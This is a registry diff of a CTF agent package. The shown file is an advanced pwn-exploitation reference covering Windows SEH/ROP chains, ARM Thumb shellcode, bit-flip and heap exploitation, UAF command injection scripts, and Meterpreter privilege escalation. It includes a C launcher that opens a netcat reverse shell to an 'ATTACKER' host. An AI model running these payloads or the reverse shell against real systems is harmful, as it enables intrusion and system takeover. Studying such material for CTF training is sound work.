ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,590 @@
|
|
|
1
|
+
# CTF Pwn - Advanced Exploit Techniques (Part 4)
|
|
2
|
+
|
|
3
|
+
Windows exploitation, ARM shellcode, Forth interpreter exploitation, and GF(2) Gaussian elimination for heap corruption.
|
|
4
|
+
|
|
5
|
+
## Table of Contents
|
|
6
|
+
- [Windows SEH Overwrite + pushad VirtualAlloc ROP (RainbowTwo HTB)](#windows-seh-overwrite--pushad-virtualalloc-rop-rainbowtwo-htb)
|
|
7
|
+
- [SeDebugPrivilege to SYSTEM (RainbowTwo HTB)](#sedebugprivilege-to-system-rainbowtwo-htb)
|
|
8
|
+
- [ARM Buffer Overflow with Thumb Shellcode (HackIM 2016)](#arm-buffer-overflow-with-thumb-shellcode-hackim-2016)
|
|
9
|
+
- [Forth Interpreter Command Execution (32C3 2015)](#forth-interpreter-command-execution-32c3-2015)
|
|
10
|
+
- [GF(2) Gaussian Elimination for Multi-Pass Tcache Poisoning (Midnight Flag 2026)](#gf2-gaussian-elimination-for-multi-pass-tcache-poisoning-midnight-flag-2026)
|
|
11
|
+
- [Single-Bit-Flip Exploitation Primitive (PlaidCTF 2016)](#single-bit-flip-exploitation-primitive-plaidctf-2016)
|
|
12
|
+
- [Game of Life Shellcode Evolution via Still-Lifes (DEF CON Quals 2016)](#game-of-life-shellcode-evolution-via-still-lifes-def-con-quals-2016)
|
|
13
|
+
- [UAF via Menu-Driven strdup/free Ordering (PlaidCTF 2016)](#uaf-via-menu-driven-strdupfree-ordering-plaidctf-2016)
|
|
14
|
+
- [mmap/munmap Size Mismatch UAF for Thread Stack Overlap (0CTF 2017)](#mmapmunmap-size-mismatch-uaf-for-thread-stack-overlap-0ctf-2017)
|
|
15
|
+
- [Premature Global Index Update for Out-of-Bounds Stack Write (BKP 2017)](#premature-global-index-update-for-out-of-bounds-stack-write-bkp-2017)
|
|
16
|
+
- [strcspn as Indirect Null Byte Injection (BSidesSF 2017)](#strcspn-as-indirect-null-byte-injection-bsidessf-2017)
|
|
17
|
+
- [Windows CFG Bypass Using system() as Valid Call Target (Insomni'hack 2017)](#windows-cfg-bypass-using-system-as-valid-call-target-insomnihack-2017)
|
|
18
|
+
- [Neural Network Output as Function Pointer Index OOB (SwampCTF 2018)](#neural-network-output-as-function-pointer-index-oob-swampctf-2018)
|
|
19
|
+
- [Shellcode Unique-Byte Limit Bypass via Counter Overflow (Blaze CTF 2018)](#shellcode-unique-byte-limit-bypass-via-counter-overflow-blaze-ctf-2018)
|
|
20
|
+
- [ARM64 getusershell() as x0 Setup Gadget for system() (HITCON 2018)](#arm64-getusershell-as-x0-setup-gadget-for-system-hitcon-2018)
|
|
21
|
+
- [OOB Dispatch Table Read via Attacker-Controlled rdx Index (TAMUctf 2019)](#oob-dispatch-table-read-via-attacker-controlled-rdx-index-tamuctf-2019)
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## Windows SEH Overwrite + pushad VirtualAlloc ROP (RainbowTwo HTB)
|
|
26
|
+
|
|
27
|
+
**Pattern:** 32-bit Windows PE (Portable Executable) with ASLR (Address Space Layout Randomization), DEP (Data Execution Prevention), and GS (stack cookie) enabled but SafeSEH disabled. Combine format string leak (defeats ASLR) with SEH-based (Structured Exception Handler) buffer overflow using VirtualAlloc ROP chain to bypass DEP.
|
|
28
|
+
|
|
29
|
+
**Attack chain:**
|
|
30
|
+
1. **Format string leak defeats ASLR:** User input used as printf format string leaks code pointer at position 2: `LST %p-%p-%p-%p-%p` -> `binary_base = int(leaks[1], 16) - 0x14120`
|
|
31
|
+
2. **Buffer overflow triggers SEH:** `sprintf("Path: %s", user_path)` into 1024-byte buffer overflows into SEH handler chain
|
|
32
|
+
3. **Stack pivot via SEH handler:** `add esp, 0xe10; ret` redirects from exception context into ROP chain
|
|
33
|
+
4. **Ret-slide absorbs crash variation:** 30x `ret` gadgets at start of ROP chain absorb variable crash offset
|
|
34
|
+
5. **pushad VirtualAlloc technique:** Set all 8 registers to correct values, then `pushad` builds the entire `VirtualAlloc(lpAddress, dwSize=1, flAllocationType=0x1000, flProtect=0x40)` call frame in one instruction
|
|
35
|
+
6. **IAT-relative function resolution:** `VirtualAlloc` not in IAT (Import Address Table), but `TlsAlloc` is. Read `[TlsAlloc@IAT]`, add offset to get `VirtualAlloc` address -- offset calculated from provided `kernel32.dll`
|
|
36
|
+
7. **jmp esp to shellcode:** After VirtualAlloc marks stack RWX (Read-Write-Execute), `jmp esp` executes shellcode that follows
|
|
37
|
+
|
|
38
|
+
```python
|
|
39
|
+
# Key ROP chain structure (simplified)
|
|
40
|
+
rop = p32(base + RET) * 30 # ret-slide for stability
|
|
41
|
+
|
|
42
|
+
# Set flProtect = 0x40 (PAGE_EXECUTE_READWRITE) via subtraction (avoid nulls)
|
|
43
|
+
rop += p32(base + POP_EAX) + p32(0x8314c2ab)
|
|
44
|
+
rop += p32(base + SUB_EAX) # sub eax, 0x8314c26b -> eax = 0x40
|
|
45
|
+
|
|
46
|
+
# Resolve VirtualAlloc: [TlsAlloc@IAT] + offset
|
|
47
|
+
rop += p32(base + POP_EAX) + p32(base + TLSALLOC_IAT)
|
|
48
|
+
rop += p32(base + MOV_EAX_DEREF_EAX) # eax = TlsAlloc address
|
|
49
|
+
rop += p32(base + ADD_EAX_EDI) # eax = VirtualAlloc address
|
|
50
|
+
|
|
51
|
+
# pushad builds call frame, jmp esp runs shellcode
|
|
52
|
+
rop += p32(base + PUSHAD_RET)
|
|
53
|
+
rop += p32(base + JMP_ESP)
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
**Bad characters for shellcode:** `\x00` (sprintf null), `\x09-\x0d` (whitespace), `\x20` (space), `\x25` (% triggers format string). Encode with msfvenom's shikata_ga_nai to avoid these bytes.
|
|
57
|
+
|
|
58
|
+
**Detached process for shell stability:** When exploiting thread-based servers, child processes die with the parent thread. Compile a launcher with `CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS` flags:
|
|
59
|
+
```c
|
|
60
|
+
// i686-w64-mingw32-gcc launcher.c -o launcher.exe -static
|
|
61
|
+
#include <windows.h>
|
|
62
|
+
int main() {
|
|
63
|
+
STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0};
|
|
64
|
+
si.cb = sizeof(si);
|
|
65
|
+
CreateProcessA(NULL, "C:\\shared\\nc.exe ATTACKER 9002 -e cmd.exe",
|
|
66
|
+
NULL, NULL, FALSE,
|
|
67
|
+
CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW,
|
|
68
|
+
NULL, NULL, &si, &pi);
|
|
69
|
+
return 0;
|
|
70
|
+
}
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
**Key insight:** `pushad` pushes all 8 general-purpose registers (EDI, ESI, EBP, ESP, EBX, EDX, ECX, EAX) onto the stack in one instruction. By pre-loading each register with the correct value, `pushad` builds the entire STDCALL function call frame in the exact order Windows expects. This avoids the need for `mov [esp+N], reg` gadgets which are rare.
|
|
74
|
+
|
|
75
|
+
---
|
|
76
|
+
|
|
77
|
+
## SeDebugPrivilege to SYSTEM (RainbowTwo HTB)
|
|
78
|
+
|
|
79
|
+
Exploits `SeDebugPrivilege` to escalate to SYSTEM by migrating into a SYSTEM-owned process. The privilege allows debugging any process, even if listed as "Disabled" -- Meterpreter enables it automatically before use.
|
|
80
|
+
|
|
81
|
+
**Steps:**
|
|
82
|
+
1. Upload Meterpreter payload and obtain a session
|
|
83
|
+
2. Migrate into a SYSTEM-level process:
|
|
84
|
+
```text
|
|
85
|
+
meterpreter > migrate -N winlogon.exe
|
|
86
|
+
meterpreter > getuid
|
|
87
|
+
# NT AUTHORITY\SYSTEM
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
Meterpreter's `migrate` injects a DLL into the target process (`winlogon.exe`, `lsass.exe`), running code as that process's user (SYSTEM).
|
|
91
|
+
|
|
92
|
+
**Detection:** `whoami /priv` shows `SeDebugPrivilege`. Common on service accounts and `NT AUTHORITY\SERVICE`.
|
|
93
|
+
|
|
94
|
+
**Key insight:** Always run `whoami /priv` after landing a Windows shell. `SeDebugPrivilege` -- even when shown as "Disabled" -- is a direct path to SYSTEM via process migration.
|
|
95
|
+
|
|
96
|
+
---
|
|
97
|
+
|
|
98
|
+
## ARM Buffer Overflow with Thumb Shellcode (HackIM 2016)
|
|
99
|
+
|
|
100
|
+
ARM exploitation differs from x86 in several key ways:
|
|
101
|
+
|
|
102
|
+
1. **Register conventions:** PC (program counter) instead of EIP; LR (link register) for return addresses
|
|
103
|
+
2. **Thumb mode:** Set bit 0 of target address to 1 to switch to Thumb (16-bit) instructions, which avoids null bytes more easily
|
|
104
|
+
3. **Syscall numbers:** Different from x86 (`execve` = 11, `dup2` = 63)
|
|
105
|
+
|
|
106
|
+
Socket-based ARM Thumb shellcode (dup2 + execve):
|
|
107
|
+
|
|
108
|
+
```asm
|
|
109
|
+
.syntax unified
|
|
110
|
+
.thumb
|
|
111
|
+
dup2_loop:
|
|
112
|
+
mov r1, r6 @ socket fd (leaked or known)
|
|
113
|
+
mov r0, #0 @ stderr=0, increment for stdout, stdin
|
|
114
|
+
movs r7, #0x3f @ __NR_dup2 = 63
|
|
115
|
+
svc #1
|
|
116
|
+
add r0, #1
|
|
117
|
+
cmp r0, #3
|
|
118
|
+
blt dup2_loop
|
|
119
|
+
|
|
120
|
+
execve:
|
|
121
|
+
adr r0, shell
|
|
122
|
+
eor r1, r1 @ argv = NULL
|
|
123
|
+
eor r2, r2 @ envp = NULL
|
|
124
|
+
movs r7, #0xb @ __NR_execve = 11
|
|
125
|
+
svc #1
|
|
126
|
+
|
|
127
|
+
shell: .ascii "/bin/sh\x00"
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
Cross-compile and test with QEMU:
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
arm-linux-gnueabi-as -mthumb -o sc.o shellcode.s
|
|
134
|
+
arm-linux-gnueabi-ld -o sc sc.o
|
|
135
|
+
qemu-arm -g 1234 ./sc # Debug with gdb-multiarch
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
**Key insight:** Use `qemu-arm` for local testing and `gdb-multiarch` for debugging. Statically-linked ARM binaries contain all gadgets needed for ROP without library dependencies.
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## Forth Interpreter Command Execution (32C3 2015)
|
|
143
|
+
|
|
144
|
+
Forth interpreters may expose a `system` word that executes shell commands. When interacting with a Forth-based service:
|
|
145
|
+
|
|
146
|
+
```forth
|
|
147
|
+
s" cat /flag" system
|
|
148
|
+
s" ls -la" system
|
|
149
|
+
s" /bin/sh" system
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
The `s"` word pushes a string address and length onto the stack; `system` pops them and executes via the shell. Check for other dangerous words: `included` (file inclusion), `open-file`, `read-file`.
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## GF(2) Gaussian Elimination for Multi-Pass Tcache Poisoning (Midnight Flag 2026)
|
|
157
|
+
|
|
158
|
+
When a binary applies a deterministic XOR cipher to heap data (corrupting adjacent tcache `fd` pointers as a side effect), and each cipher seed produces a different XOR keystream at the fd offset, model the corruption as a linear algebra problem over GF(2) to find exactly which seeds transform the fd to a target address.
|
|
159
|
+
|
|
160
|
+
**Problem formulation:** Given current fd value `C` and target `T`, compute delta `D = C ^ T`. Each seed `i` produces a 64-bit XOR vector `v_i` at the fd offset. Find a subset `S` of seeds where `XOR(v_i for i in S) == D`.
|
|
161
|
+
|
|
162
|
+
```python
|
|
163
|
+
def find_subset_xor(vectors, target):
|
|
164
|
+
"""Find subset of 64-bit vectors that XOR to target via GF(2) Gaussian elimination"""
|
|
165
|
+
n = len(vectors)
|
|
166
|
+
basis = {} # bit_position -> (vector_value, set_of_contributing_indices)
|
|
167
|
+
|
|
168
|
+
for i, v in enumerate(vectors):
|
|
169
|
+
mask = frozenset([i])
|
|
170
|
+
val = v
|
|
171
|
+
for bit in range(63, -1, -1):
|
|
172
|
+
if not (val >> bit) & 1:
|
|
173
|
+
continue
|
|
174
|
+
if bit in basis:
|
|
175
|
+
val ^= basis[bit][0]
|
|
176
|
+
mask = mask.symmetric_difference(basis[bit][1])
|
|
177
|
+
else:
|
|
178
|
+
basis[bit] = (val, mask)
|
|
179
|
+
break
|
|
180
|
+
|
|
181
|
+
# Solve for target
|
|
182
|
+
result = frozenset()
|
|
183
|
+
val = target
|
|
184
|
+
for bit in range(63, -1, -1):
|
|
185
|
+
if (val >> bit) & 1:
|
|
186
|
+
if bit not in basis:
|
|
187
|
+
raise ValueError("Target not in span")
|
|
188
|
+
val ^= basis[bit][0]
|
|
189
|
+
result = result.symmetric_difference(basis[bit][1])
|
|
190
|
+
return result
|
|
191
|
+
|
|
192
|
+
# Precompute XOR vectors: run cipher with each seed, extract 8 bytes at fd offset
|
|
193
|
+
vectors = {}
|
|
194
|
+
for seed in range(10000):
|
|
195
|
+
keystream = djb2_cipher(seed, length=0x90)
|
|
196
|
+
xor_at_fd = u64(keystream[0x88:0x90]) # fd is at offset 0x88 in chunk
|
|
197
|
+
vectors[seed] = xor_at_fd
|
|
198
|
+
|
|
199
|
+
# Compute target delta (safe-linking aware)
|
|
200
|
+
current_fd = leaked_fd # From heap over-read
|
|
201
|
+
target_fd = (io_list_all - 0x10) ^ (chunk_addr >> 12) # Mangled target
|
|
202
|
+
delta = current_fd ^ target_fd
|
|
203
|
+
|
|
204
|
+
seeds_to_apply = find_subset_xor(vectors, delta)
|
|
205
|
+
# Apply each seed sequentially -- order doesn't matter (XOR is commutative)
|
|
206
|
+
for seed in seeds_to_apply:
|
|
207
|
+
apply_cipher(chunk_idx, seed)
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
Typical result: ~30-35 seeds from a 10,000-seed space. Each application XORs one vector into the fd, cumulatively producing the exact target.
|
|
211
|
+
|
|
212
|
+
**Key insight:** Any deterministic byte-level transformation of heap metadata can be modeled as GF(2) linear algebra when the operation is XOR. This generalizes beyond specific cipher implementations -- it applies whenever you can repeatedly XOR predictable patterns into a target value.
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
## Single-Bit-Flip Exploitation Primitive (PlaidCTF 2016)
|
|
217
|
+
|
|
218
|
+
**Pattern (butterfly):** Binary accepts an integer, computes `address = input >> 3` and `bit = input & 7`, then flips `*address ^= (1 << bit)` after making the page RWX via `mprotect`. Single bit flip per invocation, but chaining multiple flips builds arbitrary code.
|
|
219
|
+
|
|
220
|
+
**Exploitation strategy:**
|
|
221
|
+
|
|
222
|
+
1. **Create a loop:** Flip a bit in the function epilogue `add rsp, 0x48` to `add rsp, 0x08`, causing stack misalignment that reuses buffer contents as return address. Set return address to function start for repeated invocations:
|
|
223
|
+
```python
|
|
224
|
+
# Flip bit 6 at address 0x400863 to change 0x48 -> 0x08
|
|
225
|
+
cosmic_ray = (0x400863 << 3) | 6 # = 33571614
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
2. **Craft `jmp rsp`:** Flip one bit of an existing `jmp rax` instruction (0xFF 0xE0) to `jmp rsp` (0xFF 0xE4):
|
|
229
|
+
```python
|
|
230
|
+
cosmic_ray = (0x4006E6 << 3) | 2 # = 33568562
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
3. **Disable stack canary check:** Flip the conditional jump (`jnz`) at the canary check to a non-branching instruction:
|
|
234
|
+
```python
|
|
235
|
+
# 0x75 (jnz) ^ 0x40 = 0x35 (xor eax, imm32)
|
|
236
|
+
cosmic_ray = (0x40085B << 3) | 6
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
4. **Expand input buffer:** Flip a bit in the `fgets` size argument to read more bytes for shellcode
|
|
240
|
+
|
|
241
|
+
5. **Make stack RWX:** Flip `mov r15, rbp` to `mov r15, rsp` so `mprotect` targets the stack
|
|
242
|
+
|
|
243
|
+
6. **Inject shellcode** on the now-RWX stack, return to `jmp rsp`
|
|
244
|
+
|
|
245
|
+
**Alternative approach:** XOR shellcode with existing `.text` bytes, compute which bits differ, flip each one, then redirect execution to the shellcode location.
|
|
246
|
+
|
|
247
|
+
**Key insight:** A single-bit-flip primitive becomes arbitrary code execution through cumulative modifications. Each flip changes one instruction or operand, and returning to the function start enables unlimited flips. Priority targets: (a) stack unwinding instructions (control flow hijack), (b) existing branch instructions (bypass security checks), (c) `mprotect` arguments (change memory permissions), (d) size parameters (expand read buffers).
|
|
248
|
+
|
|
249
|
+
---
|
|
250
|
+
|
|
251
|
+
## Game of Life Shellcode Evolution via Still-Lifes (DEF CON Quals 2016)
|
|
252
|
+
|
|
253
|
+
**Pattern (b3s23):** Binary reads coordinates for Conway's Game of Life cells on a 110x110 grid, runs 15 iterations, then executes the grid data as machine code. Construct a board that remains stable through 15 iterations while containing valid x86 shellcode.
|
|
254
|
+
|
|
255
|
+
**Approach — static shellcode rows:**
|
|
256
|
+
|
|
257
|
+
1. Place x86 instructions in specific rows of the grid
|
|
258
|
+
2. Use Game of Life "still-life" patterns (stable configurations) on surrounding rows to keep the shellcode rows unchanged through all iterations
|
|
259
|
+
3. Connect shellcode rows with `JMP` instructions to skip non-code rows
|
|
260
|
+
|
|
261
|
+
```text
|
|
262
|
+
Row N-1: still-life border pattern (keeps row N stable)
|
|
263
|
+
Row N: > shellcode bytes | JMP to next row
|
|
264
|
+
Row N+1: still-life border pattern
|
|
265
|
+
Row N+2: (empty or border)
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
**Shellcode constraints:**
|
|
269
|
+
- Avoid 5+ consecutive 1-bits (no small still-life can stabilize these)
|
|
270
|
+
- Use `add al, 0` (0x04 0x00) as NOP separator between instructions (all bits off)
|
|
271
|
+
- Adjacent "wall" patterns (vertical columns of 1s) must match at boundaries
|
|
272
|
+
- Two columns of 0s between patterns prevents interference
|
|
273
|
+
|
|
274
|
+
**Useful still-life patterns for embedding:**
|
|
275
|
+
```text
|
|
276
|
+
Block: xx Snake: xx x
|
|
277
|
+
xx x xx
|
|
278
|
+
```
|
|
279
|
+
|
|
280
|
+
```python
|
|
281
|
+
# Convert board to coordinates and feed to binary
|
|
282
|
+
import re
|
|
283
|
+
from pwn import *
|
|
284
|
+
|
|
285
|
+
rows = open('board.txt').read().split('\n')
|
|
286
|
+
coords = []
|
|
287
|
+
for y, row in enumerate(rows):
|
|
288
|
+
for m in re.finditer('x', row):
|
|
289
|
+
coords.append((m.start(), y))
|
|
290
|
+
|
|
291
|
+
p = process('./b3s23')
|
|
292
|
+
for x, y in coords:
|
|
293
|
+
p.sendline(f'{x},{y}')
|
|
294
|
+
p.sendline('done')
|
|
295
|
+
p.interactive()
|
|
296
|
+
```
|
|
297
|
+
|
|
298
|
+
**Key insight:** Game of Life still-lifes are patterns unchanged by the update rules. By embedding shellcode in rows surrounded by still-life borders, the code survives all iterations. The simplest strategy is to `read()` real shellcode onto the grid after gaining execution, avoiding complex Game of Life-aware instruction encoding.
|
|
299
|
+
|
|
300
|
+
---
|
|
301
|
+
|
|
302
|
+
## UAF via Menu-Driven strdup/free Ordering (PlaidCTF 2016)
|
|
303
|
+
|
|
304
|
+
**Pattern (unix_time_formatter):** Menu-driven binary uses `strdup()` to allocate user input (format string, timezone) and `free()` on exit. Exit option frees allocations but asks "Are you sure?" — answering "no" returns to the menu with dangling pointers. New allocations via `strdup()` reuse the freed memory.
|
|
305
|
+
|
|
306
|
+
**Exploitation:**
|
|
307
|
+
|
|
308
|
+
1. Set format string (validated for safe characters: `%aAbBcC...`)
|
|
309
|
+
2. Set timezone (no input validation)
|
|
310
|
+
3. Choose exit → both pointers freed, but answering "no" continues
|
|
311
|
+
4. Set timezone twice — second `strdup()` reuses the format string's freed allocation
|
|
312
|
+
5. Format string pointer now points to attacker-controlled timezone data
|
|
313
|
+
6. "Print time" executes `system("/bin/date -d @TIME +'FORMAT'")` with injected format:
|
|
314
|
+
|
|
315
|
+
```python
|
|
316
|
+
from pwn import *
|
|
317
|
+
|
|
318
|
+
p = remote('target', 9999)
|
|
319
|
+
p.sendlineafter('>', '1') # Set format
|
|
320
|
+
p.sendlineafter('Format:', '%c')
|
|
321
|
+
p.sendlineafter('>', '3') # Set timezone
|
|
322
|
+
p.sendlineafter('zone:', "';/bin/sh #\\")
|
|
323
|
+
p.sendlineafter('>', '5') # Exit (frees both)
|
|
324
|
+
p.sendlineafter('(y/N)?', 'n') # Don't actually exit
|
|
325
|
+
p.sendlineafter('>', '3') # Reallocate into freed format slot
|
|
326
|
+
p.sendlineafter('zone:', "';/bin/sh #\\")
|
|
327
|
+
p.sendlineafter('>', '3') # Second alloc gets other freed slot
|
|
328
|
+
p.sendlineafter('zone:', "';/bin/sh #\\")
|
|
329
|
+
p.sendlineafter('>', '4') # Print → shell
|
|
330
|
+
p.interactive()
|
|
331
|
+
```
|
|
332
|
+
|
|
333
|
+
**Key insight:** `strdup()` uses `malloc()` internally, so freed `strdup` buffers enter the malloc freelist and are reused by subsequent `strdup()` calls of similar size. When the "exit" path frees memory but allows returning to the menu, any field with strict input validation (format) can be overwritten via a field without validation (timezone) through UAF freelist reuse. The `system()` call then executes the unvalidated content.
|
|
334
|
+
|
|
335
|
+
---
|
|
336
|
+
|
|
337
|
+
## mmap/munmap Size Mismatch UAF for Thread Stack Overlap (0CTF 2017)
|
|
338
|
+
|
|
339
|
+
